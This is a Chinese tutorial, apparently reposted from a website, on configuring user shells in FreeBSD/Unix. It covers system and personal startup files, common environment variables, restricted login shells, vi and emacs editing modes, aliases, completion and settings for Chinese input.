对于管理员来将,要为使用不同shell的用户都设置好基本的环境,就必须了解这两种风格的shell设置方式。系统登录时,sh将首先执行/etc/profile文件,为每个用户设置最基本的环境,而csh将使用 /etc/csh.cshrc,csh.login和csh.logout作为系统csh 资源文件。执行了系统级别的登录文件之后,每个用户的shell就在该用户的主目录下寻找该用户个人的资源文件:sh使用.profile文件,csh使用.login和.cshrc文件。这些资源文件均使用相应的shell语言,/etc/profile和个人目录下的.profile使用sh风格的控制语言,/etc/cshrc和个人目录下的.login、.cshrc使用csh 风格的控制语言。系统管理员可以改动这些资源文件,为用户提供一个最方便的使用环境。当然,系统管理员没有必要直接去修改个人主目录下的资源文件,这些文件应该由用户自己管理,但是系统管理员可以在生成帐号时为用户产生缺省的资源文件,以减轻用户设置资源文件的麻烦。adduser命令缺省使用/usr/share/skel下的文件为用户提供各种资源文件的缺省设置,这个目录下除了可以放入shell的资源文件之外,还可以放入其他应用程序的资源文件。由于这些资源文件都是以点开头的隐藏文件,为了表示清楚,在skel目录下使用了一种转换方式,如使用dot.profile 作为.profile的模板。

# ls /usr/share/skel

dot.cshrc dot.mail_aliases dot.rhosts

dot.login dot.mailrc dot.shrc

dot.login_conf dot.profile

在/usr/share/skel中为用户设置的缺省配置文件,在用户生成之后,就不会对用户产生影响了。因此对系统登录文件进行修改更有效和直接。对于sh风格的用户,可以更改/etc/profile文件,对csh应更改 /etc/csh.cshrc文件。在这些文件中可以改动shell使用的环境变量,这样来改变shell的行为方式,或者执行一系列自动操作,完成一些用户登录时需要自动执行的任务。

常用的环境变量

EDITOR 设置用户常用的编辑器,很多程序查看这个变量来启动具体的编辑器,可以 根据系统的情况更改

HOME 用户的主目录的名字,这个变量由login程序设置,一般不需要更改DISPLAYX 使用这个环境变量来标识具体的显示位置,格式为“计算机名字:X服务 器序号.显示屏序号” ,例如:xt1:0.0,它不需要在资源文件中进行定义

LANG 系统使用的语言,用于系统的本地化,缺省为 “C” ,具体的设置可以查看 /usr/share/locale 目录,那里定义了不同的语言,可以将其设置为zh_CN.EUC来使得一些软件使用中文字符。

MAIL 用户mail文件的位置,也不需要改动PATH 使用冒号分隔的一系列路径,系统用它来查找具体可执行程序,因此这个变量非常重要,可以根据具体的情况改动其值。为了安全的原因,不要将当前目录作为执行程序的搜寻路径,尤其对于root用户。这样在当前目录下启动程序,需要加上路径,例如启动当前目录下的a.out 程序,输入 “./a.out” 。

MANPATH  使用冒号分隔的一系列路径,系统用它来查找具体命令的在线手册,设置方法与PATH相同。

PS1sh 风格的shell使用这个变量的值作为提示符,缺省值为 “$”(root为 “#” )。更现代的sh就增强了提示符的灵活性,可以在提示符中加入当前目录、用户名、机器名,命令的序号等。

PS2sh 风格的shell使用这个变量的值作为后续提示符,提示命令还没有完全输入,缺省为 “>“TERM 终端的类型,对于需要全屏操作的程序,非常重要。有时要根据情况对设置进行调整。

TZ 时区设置,具体的时区信息位于/usr/share/zoneinfo目录下,需要设置为适合本地 时区的标准值

可以将用户的shell设置为特殊的应用程序,来达到对特殊用户进行限制的目的,

例如,仅仅给予用户一个电子邮件信箱,但不想给他终端使用权,可以将用户的shell更改为/bin/true或者其他立即退出的程序。为了安全起见,用户shell应该是一个不存在漏洞的二进制程序,最好不要使用解释性语言脚本作为登录shell。由于系统认可的shell 程序是在/etc/shells文件中列出的程序,将特殊用户的shell设置为特殊的应用程序,但这些应用程序没有列入shells文件,那么这个用户就会被一些应用程序区分出与普通用户的差异,从而拒绝提供服务。例如ftp服务器程序ftpd,通过检查用户的shell是不是标准shell,来区分这个用户是普通用户还是用于特定目的的用户。

注意,不能轻易更改root用户的shell,因为这可能会造成root无法正常登录,而使得无法正常执行系统维护。即使是将root的shell更改为其他更新、更强功能的标准shell,例如bash或tcsh,也是不应该。虽然这些shell也是非常成熟的shell程序,仍然不应该使用它们作为root的shell。主要原因是这些 shell一般没有被安装到根分区中,那么当系统进入单用户状态时就会发生问题。另外这些shell可能会由于进行版本升级等原因,而偶然形成故障,造成root无法正确登录。此外,由于这些非标准shell不一定来自于系统的安装盘,因此也存在对shell来源的安全信任问题,必须保证这些shell不是经攻击者更改过的版本。如果要使用它们 shell提供的方便特性,可以在系统登录之后再使用全路径执行它们。

配置用户shell

事实上sh与csh,并不是普通用户的最佳选择,因为这两个shell在易用性方面做的不够好,例如命令行编辑功能不强、不能利用热键重复执行命令等。较新的shell,如bash和tcsh都具有这些方便用户使用的功能,但必须安装了这些shell程序之后,才能更改普通用户的shell设置以使用这些shell程序。更改用户的shell 可以使用pw、vipw或chsh。

这两个shell分别遵照sh和csh的风格,因此喜好csh风格的可以选择tcsh,而喜欢sh风格的选择 bash。除了这两种shell之外,还有ksh、zsh等shell可供选择。如果对两种shell没有偏好,可以选择bash,它是一个GNU软件,比标准sh功能强大的多。

使用了这两些增强型shell之后,用户就可以使用shell提供的命令行编辑功能。按照习惯的不同,可以选择vi风格的编辑方式或emacs风格的方式,缺省为emacs方式,这种方式使用方向键来回溯执行过的命令,并进行修改,而vi风格使用字母命令作编辑键,例如使用h、j、k、l四个键来移动光标,vi风格的好处是不使用基本键盘之外的控制键,因而可以适用于任何终端设备,并且进行编辑时手不需离开基本键盘,熟练操作之后最为快捷。emacs风格比起vi风格更适合从个人计算机转向Unix的使用者的习惯。bash, ksh ,zsh下使用下面的命令在emacs 风格和vi风格切换:

bash$ set -o emacs

bash$ set -o vi

tcsh中使用不同的命令:

% bind emacs

% bind vi

还可以为常用的命令设置别名,简化用户输入,例如:

bash$ alias ec=”echo This is a alias”

bash$ ec

This is a alias

shell用于方便用户操作的另一项能力是自动补全命令或文件名的功能,因为FreeBSD下的文件名可能很长,将它们全部输入比较麻烦。事实上可以输入部分名字,然后按Tab键(在vi风格下是连续两次按Esc键),shell 将自动补全文件名的剩余部分。如果已经输入的这部分名字不能确定具体的命令或文件,那么shell只将能确定的部分补上,

然后响铃通知使用者继续输入以明确具体的文件。

事实上即使在基本的sh或csh下,也可以使用 “*” 等特殊字符,用模式匹配的方式来简化输入。

bash$ cd /usr/loca*

bash$ pwd

/usr/local

Unix中的多数程序都具备模式匹配的处理能力,而shell的模式匹配功能最为常用。

shell可以使用这些特殊模式来配置多个文件,达到简化操作的目的。如果要熟练掌握Unix,必须掌握模式匹配。

当试图在bash下输入汉字的时候,除了必须设置终端属性能接受8位字符之外(执行stty pass8命令),还需要设置bash的输入输出转换,可以在登录脚本.profile文件中 包括以下设置:

bind 'set convert-meta off'

bind 'set meta-flag on'

bind 'set output-meta on'

原文转自:www.ltesting.net

Shell编程概述Unix系统

新手必读 系统自带的系统工具软件教程

第 8 部分:安全 shell 及文件共享Windows系统

Unix系列shell程序编写(上)转自yesky.comWindows系统

信息供需系统下农业科技论文

win7系统下怎么快速打开手写板

工具造句

Shell company代表性考题

英文界面下使用中文Unix系统

文化,不是工具作文

Unix/Linux系统下轻量级Shell工具(共5篇)

欢迎下载DOC格式的Unix/Linux系统下轻量级Shell工具,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档